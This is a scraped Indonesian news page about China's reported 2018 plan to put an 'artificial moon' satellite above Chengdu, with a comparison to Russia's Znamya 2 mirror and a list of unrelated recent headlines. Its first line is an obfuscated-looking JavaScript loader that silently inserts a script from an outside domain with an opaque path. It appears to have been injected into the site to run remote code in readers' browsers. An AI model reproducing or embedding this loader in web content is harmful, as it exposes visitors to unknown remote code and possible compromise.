(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Cina Bakal Bikin Bulan Buatan Terangi Kota


Cina dikabarkan akan meluncurkan bulan buatan ke ruang angkasa untuk menerangi salah satu kota terbesar di negeri Tirai Bambu itu, sebagaimana dilansir laman Telegraph.co.uk, Rabu, 17 Oktober 2018.

Informasi tersebut berawal dari para pejabat di Chengdu, kota dengan penduduk 14 juta orang di Provinsi Sichuan, barat daya Cina, yang mengumumkan rencana untuk menempatkan satelit di orbit pada 2020. Satelit itu mampu memantulkan cahaya seperti sinar matahari ke jalan-jalan di kota itu pada malam hari, dan diklaim dapat menggantikan lampu.

“Satelit itu akan menggunakan lapisan reflektif yang bisa mengarahkan cahaya untuk menerangi area di bumi hingga 50 mil persegi,” ujar Ketua Institut Sains dan Teknologi Sistem Mikroelektronika Antariksa Kota Wu Chunfeng, seperti dilaporkan CIFNews.

Peluncuran satelit itu menyusul proyek serupa pada 1999, ketika para peneliti Rusia berencana menggunakan cermin yang mengorbit untuk menerangi kota-kota di Siberia dengan harapan akan menjadi alternatif yang lebih murah untuk penerangan listrik.

Skema yang dikembangkan Rusia itu menggunakan alat yang disebut Znamya 2. Dilengkapi dengan cermin 25 meter, alat itu bisa menerangi petak seluas tiga mil dari tanah. Namun, selama orbit pertama, pesawat hancur setelah tabrakan di angkasa dan skema itu ditinggalkan.

“Bulan buatan, yang telah menjalani pengujian selama beberapa tahun, akan menghasilkan setidaknya delapan kali lebih banyak cahaya daripada bulan asli,” kata Chunfeng dalam acara sains di Chengdu. Namun beberapa peneliti telah memperingatkan bahwa perangkat tersebut dapat mengganggu satwa liar dan sistem yang mengamati atmosfer bumi.

Adapun Kang Weimin, direktur di School of Aerospace di Harbin Institute of Technology, mengatakan satelit itu akan menghasilkan cahaya seperti senja. “Itu berarti tidak akan mempengaruhi hewan,” ujarnya. (tmp)

Reporter : Tmp
Editor : Bie

Desy Arfianty

Recent Posts

Disporapar Balangan Survei Objek Wisata Baru di Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More

5 jam ago

KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More

6 jam ago

Gotong Royong Warga Desa Pematang Bersihkan Aliran Sungai

KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More

6 jam ago

5 Desember Hari Armada RI, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More

6 jam ago

Revitalisasi Taman Van Der Pijl Tahap Finishing, Ada Lapangan Basket Standar FIBA

KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More

7 jam ago

Desa Penerima Bansos Pamsimas 2025 Diprioritaskan ke Arah Pengembangan dan Peningkatan Infrastruktur

KANALKALIMANTAN.COM, MARTAPURA - Penentuan desa-desa sebagai penerima bantuan sosial program Penyediaan Air Minum dan Sanitasi… Read More

7 jam ago

This website uses cookies.